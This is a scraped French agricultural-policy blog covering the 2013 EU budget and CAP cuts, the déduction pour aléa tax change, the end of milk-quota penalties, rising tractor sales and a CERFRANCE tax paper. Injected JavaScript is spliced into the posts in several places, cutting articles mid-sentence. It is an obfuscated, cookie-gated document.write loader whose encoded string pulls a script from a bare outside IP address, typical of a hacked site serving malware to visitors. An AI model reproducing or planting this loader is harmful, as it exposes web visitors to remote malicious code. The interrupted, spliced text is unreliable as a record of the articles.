UE : Accord sur le budget … et après ?

Après l’échec de novembre dernier,  le sommet du conseil  des 7 et 8 février 2013 aura été le bon pour trouver un compromis sur le budget européen pour les années 2014-2020. Caractérisé par un contexte de crise économique et budgétaire, c’est un budget à minima où chacun pourra s’enorgueillir d’avoir préservé l’essentiel de  ses intérêts nationaux. Un mauvais accord valait probablement mieux qu’une absence d’accord : Reste le nécessaire vote du Parlement Européen pour l’entériner.

Un budget européen en baisse : Première historique pour cette institution de 50 ans

L’Union Européenne qui ne pouvait sans doute pas se permettre de rentrer dans une nouvelle crise politique, devra s’en contenter : « Petit accord, Petit budget pour une Petite Europe ». Le tournant de la rigueur à l’œuvre dans tous les Etats-Membres n’aura pas échappé à l’UE, en fixant un budget de 908 milliards d’Euros  (960 M€ en crédit d’engagement) soit le seuil symbolique du 1% du PIB Européen.

Pour la première fois, l’Union Européenne sera ainsi dotée d’un budget en baisse au lendemain de ses 50 ans. Au-delà du montant, la lecture de ce compromis illustre également « l’étroitesse » de l’esprit européen d’une grande partie des acteurs. Les dirigeants peuvent retourner sereins sur leur territoire : Le  Royaume-Uni a globalement sauvé son chèque, les Allemands ont joué leur partition pour limiter leur contribution, et la France  sauve les meubles en « préservant » la PAC.

Au final c’est bien un compromis d’intérêts nationaux au détriment de tout projet européen.

Le retour des nationalismes perçu ses derniers temps trouve ici une victoire. En effet si tous les budgets sont en baisse, les plus structurants pour le développement, la croissance  et la consolidation européenne sont les plus grands perdants au regard des belles ambitions affichées. En 2010, le projet « Europe 2020 »  visait à  développer une croissance « intelligente, durable et inclusive » en s’appuyant sur une plus grande coordination entre les politiques nationales et européennes. L’accord budgétaire du 8 février dernier vient d’en signer un beau coup d’arrêt.

Le parlement en arbitre

Reste néanmoins à ce que le Parlement Européen valide l’ensemble puisqu’il est co-décisionnaire. La réaction à chaud des 4 groupes politiques du Parlement n’a pas tardé pour annoncer  qu’ils ne pouvaient pas accepter l’accord « en l’état ».

Martin Schulz, son président, envisage même un vote à bulletin secret, histoire de sortir des pressions nationales ou partisanes. Les parlementaires souhaiteraient  notamment plus de « souplesse entre les catégories de dépenses et les budgets annuels », afin que les députés aient la liberté de s’adapter aux circonstances.

Un budget PAC en fort recul, mais moins que prévu

Entre le verre à moitié plein ou le verre à moitié vide, François HOLLANDE pourra répondre que la bouteille de la PAC avait déjà été renversée par la Commission. Finalement, le Budget de la PAC issu de l’accord du 8 février ressort avec un – 11% à un peu plus de 373 Milliards d’€ pour la période 2014-2020 contre 421 M€ pour 2007-2013. Ventilée entre les Paiement Directs pour près de 278 M€ et  du Développement rural pour 85 M€, la dotation annuelle pour l’Agriculture Européenne sera d’un peu plus de 53 M€ (contre 60 M€ actuellement) dont 40 Milliards d’euros  pour les paiements directs qui reculent de 8 milliards.

Budget PAC pour la France : 1 milliard en moins sur les aides  et un bonus équivalent côté développement rural

Avec la ponction réalisée sur le budget PAC, la dotation  française de l’enveloppe des paiements directs s’annonce en recul de 1 milliard sur les 8 initiaux. Aussi, cela pourrait induire une baisse de plus de 12% du montant des aides versées dès 2014.

Une des nombreuses clés de l’accord global du 8 février est probablement aussi à rechercher du côté du développement rural où la France a obtenu de ses partenaires un bonus équivalent de 1 milliard d’€ (de même que l’Italie pour 1,5 milliard). En globalisant le paquet « PAC », le gouvernement pourra afficher une conquête relative.

Une PAC à la carte qui pourrait faciliter un accord

Même s’il faut attendre une validation après quelques adaptations éventuelles de la part du Parlement Européen sur ce budget européen, le plus dur semble passé du côté de Bruxelles. Reste un accord à trouver sur la PAC.

Certaines propositions sur la PAC de la commission seront très certainement édulcorées  mais la subsidiarité et les options en termes de couplage et de soutiens différenciés (Territoires)  apparaissent si nombreuses qu’un accord rapide derrière le vote définitif du budget n’est pas à exclure.

Néanmoins, comme l’a annoncé le porte parole du commissaire CIOLOS à l’Agriculture, un report d’un an de l’application du volet « aides directes » semble inéluctable. 2014 pourrait alors être la seule année avec des vieilles aides (DPU historique) et un nouveau budget (en forte baisse).

De vifs débats à venir en France et en régions sur le partage du grisbi…

Un budget PAC en baisse sensible, des obligations de convergence, des possibilités de « coupler » jusqu’à 10% de l’enveloppe nationale, les arbitrages sous contraintes ne manqueront pas pour les décideurs politiques : gouvernement et profession.

Une fois les règles du jeu établies, les acteurs ne vont pas manquer de sortir du bois. Les calculettes sont déjà sorties et les simulations en cours.

–                  Au niveau des territoires : Certains territoires bien dotés en DPU (voir carte ci-contre) tenteront de prévenir tout risque d’une harmonisation nationale du montant du futur paiement de base appelé à remplacer le Droit au paiement unique (DPU) et appelleront de leur vœux à une « décentralisation » des soutiens au plus près du terrain tandis que d’autres moins bien servis, pousseront en faveur d’une équité nationale. Mais la question du périmètre de convergence des aides (France, région, département) ne réglera pas tout partout. Certains écarts demeurant conséquent au sein d’un même bassin de production. Autre enjeu territorial, l’appartenance de tel ou tel canton à une zone de handicap naturel, dispositif qui pourrait ponctionner jusqu’à 5% de l’enveloppe nationale des aides directes.

–                  Au niveau des filières : La même problématique traversera les secteurs de production : une application de la réforme sans correctif reviendrait à faire subir à l’élevage laitier  une diminution de leur soutien relativement  plus forte  que le secteur des cultures.

Le ministre de l’Agriculture ayant déjà annoncé qu’il n’entendait pas appliquer la réforme de la PAC au détriment de l’élevage et des systèmes de polycultures-élevage, la guerre des filières aura bien lieu. L’idée avancée par la France à Bruxelles de majorer les 50 premiers hectares de toutes les exploitations pourrait avoir un effet « redistributif » assez conséquent : Et pour redistribuer il faudra ponctionner.

–                  Au niveau des systèmes :

La bataille des lobbys aura aussi lieu au niveau des soutiens couplés : Faute de pression à l’OMC (Organisation Mondiale du Commerce), la possibilité laissée à la France de consacrer jusqu’à 10% de sa dotation zRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Déduction pour aléa : modernisation, ambiguïté et paradoxe!

Le gouvernement viens de décider une modernisation de la DPA déduction pour aléa afin de la rendre opérationnelle. En effet les contraintes existant jusqu’a  present dans sa mise en oeuvre l’avaient rendu quasiment inapplicable , il s’agissait notamment de l ‘obligation de souscrire un contrat assurance récolte. La première motivation de la mesure est de permettre de provisionner pour aléa une année faste et de reprendre la provision quand un aléa survient. La seconde motivation est de favoriser la constitution de réserve de trésorerie. Ces deux mesures vont dans le sens des propositions du reseau CERFRANCE « ‘vers une fiscalité agricole dynamique ». On peut s’étonner du fait que 50% seulement de la réservez doive être placée sur un compte bancaire dédié contre 100% auparavant. On imagine aisément les tractations qui ont du avoir lieu entre le gouvernement et les syndicats  . On pressent un compromis trouve a l’ombre de la suppression de la possibilité de passer une provision sur les investissements amortissables , la fameuse DPI. Plus singulière est la règle sur le calcul du montant de la provision autorisée.  Il s’agit d’un montant fixe quelque soit le chiffre d’ affaire de l’entreprise : ainsi une entreprise de 100 k€ de chiffre d’affaires et une autre de 700 k€ auront le droit de passer la même provision. Et pourtant en terme d’exposition au risque elles ne sont pas dans la même situation , si la probabilité de survenue du risque est la même son amplitude est bien évidemment différente. Plus surprenant encore ce montant maximal  de provision possible est dans certaines formes de sociétés  multiplie par le nombre d’ associé de l’entreprise. Cette mesure est faite bien évidemment pour prendre en compte la taille de l’entreprise afin de lever la limite précédemment évoquée. Cependant la logique économique de ce choix est très étonnante .  Ainsi une entreprise agricole de 600 k€ de chiffre d affaire ne pourra pas provisionner de la même façon si elle est constituée de deux associes ou d’un associé et d un salarie alors que le contexte de risque est le même ! On navigue alors au coeur même de l ambiguïté et des contradictions de notre fiscalité agricole qui en font ses limites et génèrent une partie de son inefficacité et de sa complexité actuelle : On gère un mécanisme de provision et de réserve ce qui est une logique d’entreprise et on l’encadre non pas par des bornes économiques ( montant ou % de chiffre d affaire ou de résultat)  mais par un nombre d’associés c’est a dire de contribuables ! … Parce que nous sommes fondamentalement dans une fiscalité de particuliers …. Deux de nos basiculturels doivent être revisités dans notre logique agricole au regard de l économie.  L entreprise agricole doit elle être fiscalisée comme une entreprise ou comme une personne  privée ? c’est tout le sens d’un impôt sur les sociétés applique a un résultat calcule selon les règles du bénéfice agricole comme le propose le  réseau CERFRANCE. Une société agricole est elle une entité a part entière considérée comme telle ou bien reste t elle la somme de quelques individualités associées  chacune restant considérée individuellement ( la fameuse transparence – cela concerne la fiscalité mais également tous les éléments de structure). On ne pourra pas indéfiniment faire le grand écart entre des perspectives poussant vers un comportement entrepreneurial et l héritage culturel d une approche  de l’activite agricole comme personnelle et patrimoniale, c est la distinction classique a faire entre l’entreprise et le chef d’entreprise! Jean-Marie  Seronie Directrect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Fin des pénalités laitières : Sujet politique ou économique ?

L’ouverture officielle d’une enquête de la Commission Européenne sur le système de pénalité fiscale, appelée taxe France AGRIMER, en cas de dépassement individuel du quota laitier semble précipiter certaines décisions. Sans en attendre les conclusions de l’enquête, dont l’issue semble certaine, le Ministre LE FOLL préfère anticiper.

Le fait de prendre acte par anticipation d’une décision contraire à cette pratique est à l’honneur du Ministre de l’Agriculture, mais la seconde partie du communiqué officiel laisse dubitatif.

« Il est impératif de développer des mécanismes alternatifs permettant de faire face à des excédents d’offre conjoncturels » a déclaré le Ministre de l’agriculture Stéphane LE FOLL. « J’ai écrit au Commissaire pour lui demander de réfléchir, dans le cadre de la réforme de la PAC, à un mécanisme de stabilisation communautaire dans le secteur laitier ».

Un courrier en trompe l’œil

Stéphane LE FOLL, Parlementaire européen de 2004 à 2012 et grand spécialiste des questions agricoles, connaît parfaitement l’équilibre politique  sur ce sujet au parlement européen et au sein du conseil européen, et il ne peut croire un instant qu’un nouveau mécanisme de régulation s’imposant à toute l’Europe laitière pourra voir le jour alors que certains producteurs européens ont actuellement les deux pieds sur le frein qu’ils repositionneront sur l’accélérateur dès le printemps 2015.

La suite du communiqué est encore plus irréelle …

« Dans l’attente de la réforme et afin d’éviter un déséquilibre de marché pour la campagne en cours, le Ministre appelle les laiteries coopératives et privées et les producteurs à mettre en place rapidement des mesures ayant un effet équivalent à celui de la taxe fiscale sur les dépassements individuels de quotas laitiers. Le cadre législatif sur le lait entré en vigueur en mars 2012 au niveau européen rend désormais possible une telle mesure dans le cadre des contrats entre éleveurs et acheteur, qui pourront être révisés à cet effet.

Une question d’économie : Comment peut-on imaginer que la limitation de la production française puisse avoir un effet sur le prix du lait dans un marché commun européen de plus en plus ouvert sur le Monde ?

Ne risque-t-on pas de faire une nouvelle fois le jeu des producteurs des autres Etats-Membres qui cumuleront le prix et le volume ?

La  « pénalité LACTALIS », reconnue d’utilité publique

Pour le coup,  LACTALIS doit se réjouir de cet appel, puisque son mécanisme de pénalité contractuelle en cas de dépassement  vient de recevoir un agrément quasi officiel. Le leader français n’en avait d’ailleurs pas besoin. Sa stratégie est claire : Il n’entend pas à l’avenir collecter plus de lait que ce qu’il est en mesure de valoriser et mise sur une arme de dissuasion massive. Cette pratique est d’ailleurs moins défavorable « économiquement » pour le producteur que certaines possibilités de suspensions de collecte prévues dans  certains contrats, mais quasiment passées inaperçues.

Qu’une entreprise  souhaite border sa collecte en lien avec sa propre stratégie se conçoit, mais il est plus surprenant que cet appel serve de cap à la politique laitière française.

Ce nouveau « psychodrame » illustre une fois de plus le décalage croissant entre la vision de l’Agriculture depuis Paris et celle qu’on peut avoir depuis Bruxelles. Si ce communiqué  répond très certainement à des objectifs politiques,  il apparaît  comme une négation de l’économie de marché.

Alors que sur le terrain de nombreux producteurs laitiers ont déjà intégré la dérégulation de l’économie laitière et qu’ils s’y préparent, il est étonnant de voir les pouvoirs publics devenir des relais d’opinions de certaines organisations professionnelles.

Comme souvent, la France apparaît regretter l’ancien temps ou l’ancienne PAC, et qu’à chaque décision minime ou réforme profonde, elle met tout en œuvre pour en retarder le processus et tenter d’en limiter les effets. Au bout du compte Il n’est pas sûr que cette vision frileuse ne desserve pas plus les intérêts de ceux qu’elle est sensée défendre. La question de la compétitivité dont on nous rebat les oreilles devrait trouver sa place dans cette réflexion.

Le rapport sur la contractualisation dans le secteur agricole remis au Ministre de l’Agrirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

L’agriculture et le paradoxe du tracteur

En une vingtaine d’année, l’agriculture aura vu fondre plus de la moitié de ses effectifs : en passant  de plus de 2 millions d’actifs agricoles (exploitants et salariés confondus) en 1998 à moins de 1 million en 2010. L’agriculture voit ainsi disparaître un peu plus de 3% de ses exploitants chaque année : les installations de jeunes agriculteurs ou moins jeunes, ne permettant pas de remplacer les départs en retraite et les arrêts, précoces ou non. Dans le même temps, la France perd en moyenne 66 000 ha de terres agricole chaque année, suite à l’urbanisation et au grignotage des infrastructures, soit l’équivalent d’un département tous les dix ans.

Ces deux tendances servent souvent à illustrer la morosité du milieu agricole et pourtant. Il suffit de voir l’empressement de tous les candidats à la présidentielle pour battre des records de présence au Salon International de l’Agriculture pour comprendre que les agriculteurs et plus largement le  milieu rural demeurent au plus près des attentions politiques, bien loin en tout cas devant la problématique des banlieues, qui il est vrai ne bénéficie pas d’un  SIB « Salon International de la Banlieue ».

Le poids de l’agriculture ne se compte plus en nombre d’exploitants

L’influence de l’agriculture ne se chiffre donc plus en termes de poids démographique ce qui est en soit une bonne nouvelle. Si la profession en France a toujours fait du nombre d’agriculteurs un objectif principal,  l’attitude est assez différente dans d’autres pays européens. Ainsi il y a une dizaine d’année, lors d’une discussion avec un leader syndical de LTO (l’équivalent de la FNPL pour les producteurs de lait des Pays-Bas),  à une question sur la problématique de la démographie agricole, ce représentant professionnel m’avait répondu : « Chez nous, on se moque du nombre d’agriculteurs, ce n’est pas la dessus que se bat la LTO : On préfère moins d’agriculteurs mais qu’ils soient heureux ! ».

Un autre chiffre interpelle le raisonnement économique : Malgré la baisse d’hectares cultivés et malgré la baisse d’actifs agricoles (et par conséquent de chauffeurs potentiels), le nombre de tracteurs vendus connaît une tendance haussière sur les vingt dernières années. Bien entendu cette tendance n’est pas régulière : elle suit peu ou prou la volatilité des résultats avec un léger décalage.

Cette statistique du principal outil de travail en agriculture apparaît comme une réelle « bizarrerie »  économique si on admet qu’en 2012, la conversion des bœufs en tracteurs est achevée ! Peut-on imaginer un nombre de taxis en hausse tandis que le nombre de chauffeurs diminuerait et que le nombre de passagers à transporter (ou nombre de kms à parcourir) serait lui aussi à la baisse ? Sauf à imaginer que la fiabilité des taxis se dégradant, chaque chauffeur investit dans 2 taxis, pour les jours où le premier tombe en panne.

Alors comment peut-on tenter d’expliquer cette curiosité agricole ?

–          Malgré la montée en puissance des tracteurs (En 2008 , la puissance moyenne des tracteurs standards immatriculés en France s’élève à 122 chevaux DIN  gagnant ainsi 15 chevaux en 8 ans) et donc leur capacité à tracter des matériels de plus en plus performants (charrue, remorque, pulvérisateurs ) l’acquisition de matériel  revêt pour certains agriculteurs un caractère assurantiel. La météo perçue comme de plus en plus capricieuse pousserait ainsi certains agriculteurs à se suréquiper afin de pouvoir faire l’ensemble de leurs travaux y compris les années où la fenêtre météo est la plus courte, que ce soit pour la moisson, les ensilages, etc..

–          Le maintien du modèle d’une agriculture familiale et non d’une « agriculture qualifiée d’industrielle qui reposerait sur de grosses structures détenues par des actionnaires et qui embaucheraient des salariés est probablement une autre raison. Ce modèle « industriel » pousserait inévitablement à une rationalisation des outils de production : les salles de traites tourneraient 23h/24 avec une heure pour la maintenance, les tracteurs feraient davantage d’heures.

–          Par ailleurs, ce modèle d’agriculture familiale si chère à la France  se traduit par le fait que le chef d’exploitation est aussi le chauffeur du tracteur. Qu’il s’agisse du choix du tracteur et de l’importance de l’image véhiculé par ce dernier, ou des choix des options, nous pourrions parier que si les tracteurs étaient conduits pas des salariés, nous assisterions à une probable descente en gamme.

–          Enfin, il n’est pas possible d’évoquer une éventuelle « sur- mécanisation » sans évoquer la fiscalité attractive que constitue la DPI. L’avantage retiré en termes d’optimisation sociale et fiscale  d’un investissement rapidement renouvelé constitue pour certains une partie non négligeable de leurs revenus. L’anecdote  du chef d’exploitation présentant ses tracteurs à un conseiller pour sa première visite illustre cet état de fait : 3 tracteurs dans la cour : « celui-là  c’est le mien dit le chef d’exploitation, à côté celui de ma femme. Et ce tracteur neuf  ? questionna le jeune conseiller. Ah, celui-là, c’est celui du comptable répondit l’agriculteur ! Sans ouvrir le débat sur la fiscalité, certains savent extrêmement bien « jouer » de la DPI, même si certains s’y sont laissés prendre dans des périodes de forte variabilité des résultats.

Cette statistique, pour autant curieuse qu’elle puisse apparaître à la rationalité économique n’est pas forcément une aberration. Le renouvellement améliore les conditions de travail des agriculteurs (confort et sécurité), et peut accroître l’attractivité du métier. Il  contribue à moderniser l’agriculture française et permet aux agriculteurs d’être constamment à la pointe : la productivité à l’unité de main d’œuvre augmente sans augmenter la durée travaillée. Il permet de « faire vivre » un environnement agricole bien au-delà des seuls marchands de matériels, ce qui indispensable pour un maintien du tissu rural. Il illustre aussi la bonne santé relative de l’agriculture en ces temps de crise économique même si bien entendu la dispersion des situations individueiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Cahier CERFRANCE : Vers une fiscalité agricole dynamique

Aujourd’hui, la fiscalité agricole française n’est plus en phase avec les exigences d’une gestion efficace et dynamique de l’entreprise agricole, notamment à cause
de la volatilité des cours et de l’exigence d’adaptation aux marchés.
Face à ce constat, un groupe d’experts économistes et fiscalistes de CERFRANCE, réseau indépendant de conseil et d’expertise comptable, a mené une réflexion
pour une modernisation de la fiscalité agricole.
Pour télécharger le cahier « Vers une fiscalité agricole dynamique », cliquez ici.

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